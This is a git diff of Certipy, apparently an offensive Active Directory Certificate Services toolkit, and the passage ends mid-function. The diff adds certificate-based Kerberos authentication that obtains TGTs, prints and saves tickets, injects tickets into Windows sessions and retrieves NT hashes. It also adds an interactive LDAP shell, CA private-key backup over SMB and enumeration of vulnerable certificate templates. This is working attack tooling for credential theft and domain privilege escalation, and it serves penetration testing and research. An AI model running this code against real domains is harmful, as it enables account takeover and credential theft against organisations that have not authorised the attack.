certipy/commands/auth.py index 3ff2ff4..39b84ef --- a/certipy/auth.py +++ b/certipy/commands/auth.py @@ -1,11 +1,18 @@ import argparse +import base64 import datetime -import logging +import os +import platform +import ssl +import sys +import tempfile from random import getrandbits -from typing import Callable, Tuple, Union +from typing import Tuple, Union +import ldap3 from asn1crypto import cms, core from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples.ldap_shell import LdapShell as _LdapShell from impacket.krb5 import constants from impacket.krb5.asn1 import ( AD_IF_RELEVANT, @@ -33,19 +40,51 @@ from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue -from certipy.certificate import ( - get_id_from_certificate, +from certipy.lib.certificate import ( + cert_id_to_parts, + cert_to_pem, + get_identifications_from_certificate, get_object_sid_from_certificate, hash_digest, hashes, + key_to_pem, load_pfx, rsa, x509, ) -from certipy.pkinit import PA_PK_AS_REP, Enctype, KDCDHKeyInfo, build_pkinit_as_req -from certipy.target import Target +from certipy.lib.errors import KRB5_ERROR_MESSAGES +from certipy.lib.logger import logging +from certipy.lib.pkinit import PA_PK_AS_REP, Enctype, KDCDHKeyInfo, build_pkinit_as_req +from certipy.lib.target import Target -NAME = "auth" + +class LdapShell(_LdapShell): + def __init__(self, tcp_shell, domain_dumper, client): + super().__init__(tcp_shell, domain_dumper, client) + + self.use_rawinput = True + self.shell = tcp_shell + + self.prompt = "\n# " + self.tid = None + self.intro = "Type help for list of commands" + self.loggedIn = True + self.last_output = None + self.completion = [] + self.client = client + self.domain_dumper = domain_dumper + + def do_dump(self, line): + logging.warning("Not implemented") + + def do_exit(self, line): + print("Bye!") + return True + + +class DummyDomainDumper: + def __init__(self, root: str): + self.root = root def truncate_key(value: bytes, keysize: int) -> bytes: @@ -62,28 +101,6 @@ def truncate_key(value: bytes, keysize: int) -> bytes: return output -def cert_id_to_parts(id_type: str, identification: str) -> Tuple[str, str]: - if id_type == "DNS Host Name": - parts = identification.split(".") - if len(parts) == 1: - cert_username = identification - cert_domain = "" - else: - cert_username = parts[0] + "$" - cert_domain = ".".join(parts[1:]) - elif id_type == "UPN": - parts = identification.split("@") - if len(parts) == 1: - cert_username = identification - cert_domain = "" - else: - cert_username = "@".join(parts[:-1]) - cert_domain = parts[-1] - else: - return (None, None) - return (cert_username, cert_domain) - - class Authenticate: def __init__( self, @@ -91,8 +108,15 @@ def __init__( pfx: str = None, cert: x509.Certificate = None, key: rsa.RSAPublicKey = None, - no_ccache: bool = False, + no_save: bool = False, no_hash: bool = False, + ptt: bool = False, + print: bool = False, + kirbi: bool = False, + ldap_shell: bool = False, + ldap_port: int = 389, + ldap_user_dn: str = None, + user_dn: str = None, debug=False, **kwargs ): @@ -100,8 +124,15 @@ def __init__( self.pfx = pfx self.cert = cert self.key = key - self.no_ccache = no_ccache + self.no_save = no_save self.no_hash = no_hash + self.ptt = ptt + self.print = print + self.kirbi = kirbi + self.ldap_shell = ldap_shell + self.ldap_port = ldap_port + self.ldap_user_dn = ldap_user_dn + self.user_dn = user_dn self.verbose = debug self.kwargs = kwargs @@ -113,16 +144,44 @@ def __init__( def authenticate( self, username: str = None, domain: str = None, is_key_credential=False - ) -> Union[str, bool]: + ): if username is None: username = self.target.username if domain is None: domain = self.target.domain + if self.ldap_shell: + return self.ldap_authentication() + + id_type = None + identification = None + object_sid = None if not is_key_credential: - id_type, identification = get_id_from_certificate(self.cert) + identifications = get_identifications_from_certificate(self.cert) + + if len(identifications) > 1: + logging.info("Found multiple identifications in certificate") + + while True: + logging.info("Please select one:") + for i, identification in enumerate(identifications): + id_type, id_value = identification + print(" [%d] %s: %s" % (i, id_type, repr(id_value))) + idx = int(input("> ")) + + if idx >= len(identifications): + logging.warning("Invalid index") + else: + id_type, identification = identifications[idx] + break + elif len(identifications) == 1: + id_type, identification = identifications[0] + else: + id_type, identification = None, None + + cert_username, cert_domain = cert_id_to_parts([(id_type, identification)]) + object_sid = get_object_sid_from_certificate(self.cert) - cert_username, cert_domain = cert_id_to_parts(id_type, identification) if not any([cert_username, cert_domain]): logging.warning( @@ -146,6 +205,7 @@ def authenticate( res = input("Do you want to continue? (Y/n) ").rstrip("\n") if res.lower() == "n": return False + if not domain: domain = cert_domain elif cert_domain: @@ -188,6 +248,93 @@ def authenticate( logging.info("Using principal: %s" % upn) + return self.kerberos_authentication( + username, + domain, + is_key_credential, + id_type, + identification, + object_sid, + upn, + ) + + def ldap_authentication( + self, + domain: str = None, + ) -> Union[str, bool]: + key_file = tempfile.NamedTemporaryFile(delete=False) + key_file.write(key_to_pem(self.key)) + key_file.close() + + cert_file = tempfile.NamedTemporaryFile(delete=False) + cert_file.write(cert_to_pem(self.cert)) + cert_file.close() + + sasl_credentials = None + if self.ldap_user_dn: + sasl_credentials = "dn:%s" % self.ldap_user_dn + + tls = ldap3.Tls( + local_private_key_file=key_file.name, + local_certificate_file=cert_file.name, + validate=ssl.CERT_NONE, + ) + + host = self.target.target_ip + if host is None: + host = domain + host = "ldap://%s:%d" % (host, self.ldap_port) + + logging.info("Connecting to %s" % repr(host)) + ldap_server = ldap3.Server( + host=host, + get_info=ldap3.ALL, + tls=tls, + connect_timeout=5, + ) + + try: + ldap_conn = ldap3.Connection( + ldap_server, + authentication=ldap3.SASL, + sasl_mechanism=ldap3.EXTERNAL, + sasl_credentials=sasl_credentials, + auto_bind=ldap3.AUTO_BIND_TLS_BEFORE_BIND, + raise_exceptions=True, + ) + except ldap3.core.exceptions.LDAPUnavailableResult as e: + logging.error("LDAP not configured for SSL/TLS connections") + if self.verbose: + raise e + return False + + who_am_i = ldap_conn.extend.standard.who_am_i() + logging.info( + "Authenticated to %s as: %s" % (repr(self.target.target_ip), who_am_i) + ) + + root = ldap_server.info.other["defaultNamingContext"][0] + domain_dumper = DummyDomainDumper(root) + ldap_shell = LdapShell(sys, domain_dumper, ldap_conn) + try: + ldap_shell.cmdloop() + except KeyboardInterrupt: + print("Bye!\n") + pass + + os.unlink(key_file.name) + os.unlink(cert_file.name) + + def kerberos_authentication( + self, + username: str = None, + domain: str = None, + is_key_credential: bool = False, + id_type: str = None, + identification: str = None, + object_sid: str = None, + upn: str = None, + ) -> Union[str, bool]: as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert) logging.info("Trying to get TGT...") @@ -195,6 +342,10 @@ def authenticate( try: tgt = sendReceive(encoder.encode(as_req), domain, self.target.target_ip) except KerberosError as e: + if e.getErrorCode() not in KRB5_ERROR_MESSAGES: + logging.error("Got unknown Kerberos error: %#x" % e.getErrorCode()) + return False + if "KDC_ERR_CLIENT_NAME_MISMATCH" in str(e) and not is_key_credential: logging.error( ("Name mismatch between certificate and user %s" % repr(username)) @@ -213,7 +364,10 @@ def authenticate( ) elif "KDC_ERR_CERTIFICATE_MISMATCH" in str(e) and not is_key_credential: logging.error( - ("Object SID mismatch between certificate and user %s" % repr(username)) + ( + "Object SID mismatch between certificate and user %s" + % repr(username) + ) ) if object_sid is not None: logging.error( @@ -277,12 +431,44 @@ def authenticate( cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])] session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"])) - if not self.no_ccache: - ccache = CCache() - ccache.fromTGT(tgt, key, None) - self.ccache_name = "%s.ccache" % username.rstrip("$") - ccache.saveFile(self.ccache_name) - logging.info("Saved credential cache to %s" % repr(self.ccache_name)) + ccache = CCache() + ccache.fromTGT(tgt, key, None) + krb_cred = ccache.toKRBCRED() + + if self.print: + logging.info("Ticket:") + print(base64.b64encode(krb_cred).decode()) + + if not self.no_save or self.ptt: + if not self.no_save: + if self.kirbi: + kirbi_name = "%s.kirbi" % username.rstrip("$") + ccache.saveKirbiFile(kirbi_name) + logging.info("Saved Kirbi file to %s" % repr(kirbi_name)) + else: + self.ccache_name = "%s.ccache" % username.rstrip("$") + ccache.saveFile(self.ccache_name) + logging.info( + "Saved credential cache to %s" % repr(self.ccache_name) + ) + + if self.ptt: + krb_cred = ccache.toKRBCRED() + logging.info("Trying to inject ticket into session") + + if platform.system().lower() != "windows": + logging.error("Not running on Windows platform. Aborting") + else: + try: + from certipy.lib import sspi + + res = sspi.submit_ticket(krb_cred) + if res: + logging.info("Successfully injected ticket into session") + except Exception as e: + logging.error( + "Failed to inject ticket into session: %s" % str(e) + ) if not self.no_hash: logging.info("Trying to retrieve NT hash for %s" % repr(username)) @@ -443,66 +629,8 @@ def entry(options: argparse.Namespace) -> None: ns=options.ns, timeout=options.timeout, dns_tcp=options.dns_tcp, + no_pass=True, ) authenticate = Authenticate(target=target, **vars(options)) authenticate.authenticate() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Authenticate using certificates") - - subparser.add_argument( - "-pfx", - action="store", - metavar="pfx/p12 file name", - help="Path to certificate", - required=True, - ) - - subparser.add_argument("-no-ccache", action="store_true", help="Don't save CCache") - subparser.add_argument( - "-no-hash", action="store_true", help="Don't request NT hash" - ) - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("connection options") - - group.add_argument( - "-dc-ip", - action="store", - metavar="ip address", - help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in " - "the target parameter", - ) - group.add_argument( - "-ns", - action="store", - metavar="nameserver", - help="Nameserver for DNS resolution", - ) - group.add_argument( - "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" - ) - group.add_argument( - "-timeout", - action="store", - metavar="seconds", - help="Timeout for connections", - default=5, - type=int, - ) - - group = subparser.add_argument_group("authentication options") - group.add_argument( - "-username", - action="store", - metavar="username", - ) - group.add_argument( - "-domain", - action="store", - metavar="domain", - ) - - return NAME, entry diff --git a/certipy/ca.py b/certipy/commands/ca.py old mode 100644 new mode 100755 similarity index 89% rename from certipy/ca.py rename to certipy/commands/ca.py index bf46b3a..0c8f71a --- a/certipy/ca.py +++ b/certipy/commands/ca.py @@ -1,8 +1,9 @@ +NAME = "ca" + import argparse import copy -import logging import time -from typing import Callable, List, Tuple +from typing import List, Tuple from impacket.dcerpc.v5 import rpcrt, rrp, scmr from impacket.dcerpc.v5.dcom.oaut import VARIANT @@ -15,27 +16,29 @@ from impacket.smbconnection import SMBConnection from impacket.uuid import string_to_bin, uuidtup_to_bin -from certipy import target -from certipy.certificate import NameOID, create_pfx, load_pfx -from certipy.constants import CERTIFICATION_AUTHORITY_RIGHTS -from certipy.errors import translate_error_code -from certipy.ldap import LDAPConnection, LDAPEntry -from certipy.rpc import ( +from certipy.lib.certificate import NameOID, create_pfx, der_to_cert, load_pfx, x509 +from certipy.lib.constants import CERTIFICATION_AUTHORITY_RIGHTS +from certipy.lib.errors import translate_error_code +from certipy.lib.kerberos import get_TGS +from certipy.lib.ldap import LDAPConnection, LDAPEntry +from certipy.lib.logger import logging +from certipy.lib.rpc import ( get_dce_rpc, get_dce_rpc_from_string_binding, get_dcom_connection, ) -from certipy.security import CASecurity -from certipy.target import Target -from certipy.template import Template +from certipy.lib.security import CASecurity +from certipy.lib.target import Target -NAME = "ca" +from .template import Template IF_NOREMOTEICERTADMINBACKUP = 0x40 CR_PROP_TEMPLATES = 0x0000001D CLSID_ICertAdminD = string_to_bin("d99e6e73-fc88-11d0-b498-00a0c90312f3") +CLSID_CCertRequestD = string_to_bin("d99e6e74-fc88-11d0-b498-00a0c90312f3") IID_ICertAdminD = uuidtup_to_bin(("d99e6e71-fc88-11d0-b498-00a0c90312f3", "0.0")) IID_ICertAdminD2 = uuidtup_to_bin(("7fe0d935-dda6-443f-85d0-1cfb58fe41dd", "0.0")) +IID_ICertRequestD2 = uuidtup_to_bin(("5422fd3a-d4b8-4cef-a12e-e87d4ca22e90", "0.0")) class DCERPCSessionError(DCERPCException): @@ -80,6 +83,20 @@ class ICertAdminD_DenyRequestResponse(DCOMANSWER): structure = (("ErrorCode", ULONG),) +class ICertRequestD2_GetCAProperty(DCOMCALL): + opnum = 7 + structure = ( + ("pwszAuthority", LPWSTR), + ("PropId", LONG), + ("PropIndex", LONG), + ("PropType", LONG), + ) + + +class ICertRequestD2_GetCAPropertyResponse(DCOMANSWER): + structure = (("pctbPropertyValue", CERTTRANSBLOB),) + + class ICertAdminD2_GetCAProperty(DCOMCALL): opnum = 32 structure = ( @@ -140,7 +157,7 @@ class ICertAdminD2_GetConfigEntryResponse(DCOMANSWER): structure = (("pVariant", VARIANT),) -class ICertAdminDCustom(IRemUnknown): +class ICertCustom(IRemUnknown): def request(self, req, *args, **kwargs): req["ORPCthis"] = self.get_cinstance().get_ORPCthis() req["ORPCthis"]["flags"] = 0 @@ -162,18 +179,24 @@ def request(self, req, *args, **kwargs): return resp -class ICertAdminD(ICertAdminDCustom): +class ICertAdminD(ICertCustom): def __init__(self, interface): super().__init__(interface) self._iid = IID_ICertAdminD -class ICertAdminD2(ICertAdminDCustom): +class ICertAdminD2(ICertCustom): def __init__(self, interface): super().__init__(interface) self._iid = IID_ICertAdminD2 +class ICertRequestD2(ICertCustom): + def __init__(self, interface): + super().__init__(interface) + self._iid = IID_ICertRequestD2 + + class CA: def __init__( self, @@ -207,6 +230,7 @@ def __init__( self._connection: LDAPConnection = connection self._cert_admin: ICertAdminD = None self._cert_admin2: ICertAdminD2 = None + self._cert_request2: ICertRequestD2 = None self._rrp_dce = None @property @@ -216,7 +240,7 @@ def connection(self): target = copy.copy(self.target) - if target.do_kerberos: + if target.do_kerberos or target.use_sspi: if self.dc_host is None: raise Exception( "Kerberos auth requires DNS name of the target DC. Use -dc-host." @@ -271,6 +295,18 @@ def cert_admin2(self) -> ICertAdminD2: return self._cert_admin2 + @property + def cert_request2(self) -> ICertRequestD2: + if self._cert_request2 is not None: + return self._cert_request2 + + dcom = get_dcom_connection(self.target) + iInterface = dcom.CoCreateInstanceEx(CLSID_CCertRequestD, IID_ICertRequestD2) + iInterface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + self._cert_request2 = ICertRequestD2(iInterface) + + return self._cert_request2 + @property def rrp_dce(self): if self._rrp_dce is not None: @@ -308,6 +344,19 @@ def rrp_dce(self): return self._rrp_dce + def get_exchange_certificate(self) -> x509.Certificate: + request = ICertRequestD2_GetCAProperty() + request["pwszAuthority"] = checkNullString(self.ca) + request["PropId"] = 0x0000000F + request["PropIndex"] = 0 + request["PropType"] = 0x00000003 + + resp = self.cert_request2.request(request) + + exchange_cert = der_to_cert(b"".join(resp["pctbPropertyValue"]["pb"])) + + return exchange_cert + def get_config_csra(self) -> Tuple[int, int, CASecurity]: request = ICertAdminD2_GetConfigEntry() request["pwszAuthority"] = checkNullString(self.ca) @@ -805,13 +854,23 @@ def get_backup(self) -> bytes: self.target.remote_name, self.target.target_ip, timeout=self.target.timeout ) if self.target.do_kerberos: + tgs, cipher, session_key, username, domain = get_TGS( + self.target, self.target.remote_name, "cifs" + ) + + TGS = {} + TGS["KDC_REP"] = tgs + TGS["cipher"] = cipher + TGS["sessionKey"] = session_key + smbclient.kerberosLogin( - self.target.username, + username, self.target.password, - self.target.domain, + domain, self.target.lmhash, self.target.nthash, kdcHost=self.target.dc_ip, + TGS=TGS, ) else: smbclient.login( @@ -1000,109 +1059,3 @@ def entry(options: argparse.Namespace) -> None: ca.disable() else: logging.error("No action specified") - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Manage CA and certificates") - - subparser.add_argument("-ca", action="store", metavar="certificate authority name") - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("certificate template options") - group.add_argument( - "-enable-template", - action="store", - metavar="template name", - help="Enable a certificate template on the CA", - ) - group.add_argument( - "-disable-template", - action="store", - metavar="template name", - help="Disable a certificate template on the CA", - ) - group.add_argument( - "-list-templates", - action="store_true", - help="List enabled certificate templates on the CA", - ) - - group = subparser.add_argument_group("certificate request options") - group.add_argument( - "-issue-request", - action="store", - metavar="request ID", - help="Issue a pending or failed certificate request", - ) - group.add_argument( - "-deny-request", - action="store", - metavar="request ID", - help="Deny a pending certificate request", - ) - - group = subparser.add_argument_group("officer options") - group.add_argument( - "-add-officer", - action="store", - metavar="officer", - help="Add a new officer (Certificate Manager) to the CA", - ) - group.add_argument( - "-remove-officer", - action="store", - metavar="officer", - help="Remove an existing officer (Certificate Manager) from the CA", - ) - - group = subparser.add_argument_group("manager options") - group.add_argument( - "-add-manager", - action="store", - metavar="manager", - help="Add a new manager (CA Manager) to the CA", - ) - group.add_argument( - "-remove-manager", - action="store", - metavar="manager", - help="Remove an existing manager (CA Manager) from the CA", - ) - - group = subparser.add_argument_group("backup options") - group.add_argument( - "-backup", - action="store_true", - help="Backup CA certificate and private key", - ) - group.add_argument( - "-config", - action="store", - metavar="Machine\\CA", - ) - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-scheme", - action="store", - metavar="ldap scheme", - choices=["ldap", "ldaps"], - default="ldaps", - ) - group.add_argument( - "-dynamic-endpoint", - action="store_true", - help="Prefer dynamic TCP endpoint over named pipe", - ) - group.add_argument( - "-dc-host", - action="store", - metavar="hostname", - help="Hostname of the domain controller to use. " - "If ommited, the domain part (FQDN) " - "specified in the account parameter will be used", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/commands/cert.py b/certipy/commands/cert.py new file mode 100755 index 0000000..1a3b89a --- /dev/null +++ b/certipy/commands/cert.py @@ -0,0 +1,91 @@ +import argparse +import sys + +from certipy.lib.certificate import ( + cert_to_pem, + create_pfx, + der_to_cert, + der_to_key, + key_to_pem, + load_pfx, + pem_to_cert, + pem_to_key, +) +from certipy.lib.logger import logging + + +def entry(options: argparse.Namespace) -> None: + cert, key = None, None + + if not any([options.pfx, options.cert, options.key]): + logging.error("-pfx, -cert, or -key is required") + return + + if options.pfx: + password = None + if options.password: + logging.debug( + "Loading PFX %s with password %s" % (repr(options.pfx), password) + ) + password = options.password.encode() + else: + logging.debug("Loading PFX %s without password" % repr(options.pfx)) + + with open(options.pfx, "rb") as f: + pfx = f.read() + + key, cert = load_pfx(pfx, password) + + if options.cert: + logging.debug("Loading certificate from %s" % repr(options.cert)) + + with open(options.cert, "rb") as f: + cert = f.read() + try: + cert = pem_to_cert(cert) + except Exception: + cert = der_to_cert(cert) + + if options.key: + logging.debug("Loading private key from %s" % repr(options.cert)) + + with open(options.key, "rb") as f: + key = f.read() + try: + key = pem_to_key(key) + except Exception: + key = der_to_key(key) + + if options.export: + pfx = create_pfx(key, cert) + if options.out: + logging.info("Writing PFX to %s" % repr(options.out)) + + with open(options.out, "wb") as f: + f.write(pfx) + else: + sys.stdout.buffer.write(pfx) + else: + output = "" + log_str = "" + if cert and not options.nocert: + output += cert_to_pem(cert).decode() + log_str += "certificate" + if key: + log_str += " and " + + if key and not options.nokey: + output += key_to_pem(key).decode() + log_str += "private key" + + if len(output) == 0: + logging.error("Output is empty") + return + + if options.out: + logging.info("Writing %s to %s" % (log_str, repr(options.out))) + + with open(options.out, "w") as f: + f.write(output) + else: + print(output) diff --git a/certipy/commands/find.py b/certipy/commands/find.py new file mode 100755 index 0000000..b15d4fb --- /dev/null +++ b/certipy/commands/find.py @@ -0,0 +1,1142 @@ +import argparse +import copy +import json +import os +import socket +import struct +import time +import zipfile +from collections import OrderedDict +from datetime import datetime +from typing import List + +from asn1crypto import x509 +from certipy.lib.constants import ( + CERTIFICATE_RIGHTS, + CERTIFICATION_AUTHORITY_RIGHTS, + EXTENDED_RIGHTS_MAP, + EXTENDED_RIGHTS_NAME_MAP, + MS_PKI_CERTIFICATE_NAME_FLAG, + MS_PKI_ENROLLMENT_FLAG, + MS_PKI_PRIVATE_KEY_FLAG, + OID_TO_STR_MAP, + WELLKNOWN_SIDS, +) +from certipy.lib.formatting import pretty_print +from certipy.lib.ldap import LDAPConnection, LDAPEntry +from certipy.lib.logger import logging +from certipy.lib.rpc import get_dce_rpc_from_string_binding +from certipy.lib.security import ( + ActiveDirectorySecurity, + CertifcateSecurity, + is_admin_sid, +) +from certipy.lib.target import Target +from impacket.dcerpc.v5 import rrp + +from .ca import CA + + +def filetime_to_span(filetime: str) -> int: + (span,) = struct.unpack(" str: + if (span % 31536000 == 0) and (span // 31536000) >= 1: + if (span / 31536000) == 1: + return "1 year" + return "%i years" % (span // 31536000) + elif (span % 2592000 == 0) and (span // 2592000) >= 1: + if (span // 2592000) == 1: + return "1 month" + else: + return "%i months" % (span // 2592000) + elif (span % 604800 == 0) and (span // 604800) >= 1: + if (span / 604800) == 1: + return "1 week" + else: + return "%i weeks" % (span // 604800) + + elif (span % 86400 == 0) and (span // 86400) >= 1: + if (span // 86400) == 1: + return "1 day" + else: + return "%i days" % (span // 86400) + elif (span % 3600 == 0) and (span / 3600) >= 1: + if (span // 3600) == 1: + return "1 hour" + else: + return "%i hours" % (span // 3600) + else: + return "" + + +def filetime_to_str(filetime: str) -> str: + return span_to_str(filetime_to_span(filetime)) + + +class Find: + def __init__( + self, + target: Target, + json: bool = False, + bloodhound: bool = False, + old_bloodhound: bool = False, + text: bool = False, + stdout: bool = False, + output: str = None, + enabled: bool = False, + vulnerable: bool = False, + hide_admins: bool = False, + dc_only: bool = False, + scheme: str = "ldaps", + connection: LDAPConnection = None, + debug=False, + **kwargs + ): + self.target = target + self.json = json + self.bloodhound = bloodhound or old_bloodhound + self.old_bloodhound = old_bloodhound + self.text = text or stdout + self.stdout = stdout + self.output = output + self.enabled = enabled + self.vuln = vulnerable + self.hide_admins = hide_admins + self.dc_only = dc_only + self.scheme = scheme + self.verbose = debug + self.kwargs = kwargs + + self._connection = connection + + @property + def connection(self) -> LDAPConnection: + if self._connection is not None: + return self._connection + + self._connection = LDAPConnection(self.target, self.scheme) + self._connection.connect() + + return self._connection + + def open_remote_registry(self, target_ip: str, dns_host_name: str): + + dce = get_dce_rpc_from_string_binding( + "ncacn_np:445[\\pipe\\winreg]", + self.target, + timeout=self.target.timeout, + target_ip=target_ip, + remote_name=dns_host_name, + ) + + for _ in range(3): + try: + dce.connect() + dce.bind(rrp.MSRPC_UUID_RRP) + logging.debug( + "Connected to remote registry at %s (%s)" + % (repr(self.target.remote_name), self.target.target_ip) + ) + break + except Exception as e: + if "STATUS_PIPE_NOT_AVAILABLE" in str(e): + logging.warning( + ( + "Failed to connect to remote registry. Service should be " + "starting now. Trying again..." + ) + ) + time.sleep(1) + else: + raise e + else: + logging.warning("Failed to connect to remote registry") + return None + + return dce + + def find(self): + connection = self.connection + + if self.vuln: + sids = connection.get_user_sids(self.target.username) + + if self.verbose: + logging.debug("List of current user's SIDs:") + for sid in sids: + print( + " %s (%s)" + % ( + self.connection.lookup_sid(sid).get("name"), + self.connection.lookup_sid(sid).get("objectSid"), + ) + ) + else: + sids = [] + + logging.info("Finding certificate templates") + + templates = self.get_certificate_templates() + + logging.info( + "Found %d certificate template%s" + % ( + len(templates), + "s" if len(templates) != 1 else "", + ) + ) + + logging.info("Finding certificate authorities") + + cas = self.get_certificate_authorities() + + logging.info( + "Found %d certificate authorit%s" + % ( + len(cas), + "ies" if len(cas) != 1 else "y", + ) + ) + + no_enabled_templates = 0 + for ca in cas: + object_id = ca.get("objectGUID").lstrip("{").rstrip("}") + ca.set("object_id", object_id) + + ca_templates = ca.get("certificateTemplates") + if ca_templates is None: + ca_templates = [] + + for template in templates: + if template.get("name") in ca_templates: + no_enabled_templates += 1 + if "cas" in template["attributes"].keys(): + template.get("cas").append(ca.get("name")) + template.get("cas_ids").append(object_id) + else: + template.set("cas", [ca.get("name")]) + template.set("cas_ids", [object_id]) + + logging.info( + "Found %d enabled certificate template%s" + % ( + no_enabled_templates, + "s" if no_enabled_templates != 1 else "", + ) + ) + + for ca in cas: + + if self.dc_only: + user_specified_san, request_disposition, security, web_enrollment = ( + "Unknown", + "Unknown", + None, + "Unknown", + ) + else: + try: + ca_name = ca.get("name") + ca_remote_name = ca.get("dNSHostName") + ca_target_ip = self.target.resolver.resolve(ca_remote_name) + + ca_target = copy.copy(self.target) + ca_target.remote_name = ca_remote_name + ca_target.target_ip = ca_target_ip + + ca_service = CA(ca_target, ca=ca_name) + edit_flags, request_disposition, security = ca_service.get_config() + + request_disposition = ( + "Pending" if request_disposition & 0x100 else "Issue" + ) + + user_specified_san = (edit_flags & 0x00040000) == 0x00040000 + user_specified_san = "Enabled" if user_specified_san else "Disabled" + except Exception as e: + logging.warning( + "Failed to get CA security and configuration for %s: %s" + % (repr(ca.get("name")), e) + ) + user_specified_san, request_disposition, security = ( + "Unknown", + "Unknown", + None, + ) + + try: + web_enrollment = self.check_web_enrollment(ca) + web_enrollment = "Enabled" if web_enrollment else "Disabled" + except Exception as e: + logging.warning( + "Failed to check Web Enrollment for CA %s: %s" + % (repr(ca.get("name")), e) + ) + web_enrollment = "Unknown" + + ca.set("user_specified_san", user_specified_san) + ca.set("request_disposition", request_disposition) + ca.set("security", security) + ca.set("web_enrollment", web_enrollment) + + subject_name = ca.get("cACertificateDN") + + ca_cert = x509.Certificate.load(ca.get("cACertificate")[0])[ + "tbs_certificate" + ] + + serial_number = hex(int(ca_cert["serial_number"]))[2:].upper() + + validity = ca_cert["validity"].native + validity_start = str(validity["not_before"]) + validity_end = str(validity["not_after"]) + + ca.set("subject_name", subject_name) + ca.set("serial_number", serial_number) + ca.set("validity_start", validity_start) + ca.set("validity_end", validity_end) + + for template in templates: + template_cas = template.get("cas") + enabled = template_cas is not None and len(template_cas) > 0 + template.set("enabled", enabled) + + object_id = template.get("objectGUID").lstrip("{").rstrip("}") + template.set("object_id", object_id) + + validity_period = filetime_to_str(template.get("pKIExpirationPeriod")) + template.set("validity_period", validity_period) + + renewal_period = filetime_to_str(template.get("pKIOverlapPeriod")) + template.set("renewal_period", renewal_period) + + certificate_name_flag = template.get("msPKI-Certificate-Name-Flag") + if certificate_name_flag is not None: + certificate_name_flag = MS_PKI_CERTIFICATE_NAME_FLAG( + int(certificate_name_flag) + ) + else: + certificate_name_flag = MS_PKI_CERTIFICATE_NAME_FLAG(0) + template.set("certificate_name_flag", certificate_name_flag.to_str_list()) + + enrollment_flag = template.get("msPKI-Enrollment-Flag") + if enrollment_flag is not None: + enrollment_flag = MS_PKI_ENROLLMENT_FLAG(int(enrollment_flag)) + else: + enrollment_flag = MS_PKI_ENROLLMENT_FLAG(0) + template.set("enrollment_flag", enrollment_flag.to_str_list()) + + private_key_flag = template.get("msPKI-Private-Key-Flag") + if private_key_flag is not None: + private_key_flag = MS_PKI_PRIVATE_KEY_FLAG(int(private_key_flag)) + else: + private_key_flag = MS_PKI_PRIVATE_KEY_FLAG(0) + template.set("private_key_flag", private_key_flag.to_str_list()) + + authorized_signatures_required = template.get("msPKI-RA-Signature") + if authorized_signatures_required is not None: + authorized_signatures_required = int(authorized_signatures_required) + else: + authorized_signatures_required = 0 + template.set( + "authorized_signatures_required", authorized_signatures_required + ) + + application_policies = template.get_raw("msPKI-RA-Application-Policies") + if not isinstance(application_policies, list): + if application_policies is None: + application_policies = [] + else: + application_policies = [application_policies] + + application_policies = list(map(lambda x: x.decode(), application_policies)) + + application_policies = list( + map( + lambda x: OID_TO_STR_MAP[x] if x in OID_TO_STR_MAP else x, + application_policies, + ) + ) + template.set("application_policies", application_policies) + + eku = template.get_raw("pKIExtendedKeyUsage") + if not isinstance(eku, list): + if eku is None: + eku = [] + else: + eku = [eku] + + eku = list(map(lambda x: x.decode(), eku)) + + extended_key_usage = list( + map(lambda x: OID_TO_STR_MAP[x] if x in OID_TO_STR_MAP else x, eku) + ) + template.set("extended_key_usage", extended_key_usage) + + any_purpose = ( + "Any Purpose" in extended_key_usage or len(extended_key_usage) == 0 + ) + template.set("any_purpose", any_purpose) + + client_authentication = any_purpose or any( + eku in extended_key_usage + for eku in [ + "Client Authentication", + "Smart Card Logon", + "PKINIT Client Authentication", + ] + ) + template.set("client_authentication", client_authentication) + + enrollment_agent = any_purpose or any( + eku in extended_key_usage + for eku in [ + "Certificate Request Agent", + ] + ) + template.set("enrollment_agent", enrollment_agent) + + enrollee_supplies_subject = any( + flag in certificate_name_flag + for flag in [ + MS_PKI_CERTIFICATE_NAME_FLAG.ENROLLEE_SUPPLIES_SUBJECT, + ] + ) + template.set("enrollee_supplies_subject", enrollee_supplies_subject) + + requires_manager_approval = ( + MS_PKI_ENROLLMENT_FLAG.PEND_ALL_REQUESTS in enrollment_flag + ) + template.set("requires_manager_approval", requires_manager_approval) + + no_security_extension = ( + MS_PKI_ENROLLMENT_FLAG.NO_SECURITY_EXTENSION in enrollment_flag + ) + template.set("no_security_extension", no_security_extension) + + requires_key_archival = ( + MS_PKI_PRIVATE_KEY_FLAG.REQUIRE_PRIVATE_KEY_ARCHIVAL in private_key_flag + ) + template.set("requires_key_archival", requires_key_archival) + + prefix = ( + datetime.now().strftime("%Y%m%d%H%M%S") if not self.output else self.output + ) + + not_specified = not any([self.json, self.bloodhound, self.text]) + + if self.bloodhound or not_specified: + self.output_bloodhound_data(prefix, templates, cas) + + if self.text or self.json or not_specified: + output = self.get_output_for_text_and_json(templates, cas) + + if self.text or not_specified: + if self.stdout: + logging.info("Enumeration output:") + pretty_print(output) + else: + with open("%s_Certipy.txt" % prefix, "w") as f: + pretty_print(output, print=lambda x: f.write(x) + f.write("\n")) + logging.info( + "Saved text output to %s" % repr("%s_Certipy.txt" % prefix) + ) + + if self.json or not_specified: + with open("%s_Certipy.json" % prefix, "w") as f: + json.dump(output, f, indent=2) + + logging.info( + "Saved JSON output to %s" % repr("%s_Certipy.json" % prefix) + ) + + def get_output_for_text_and_json( + self, templates: List[LDAPEntry], cas: List[LDAPEntry] + ): + ca_entries = {} + template_entries = {} + + for template in templates: + if self.enabled and template.get("enabled") is not True: + continue + + vulnerabilities = 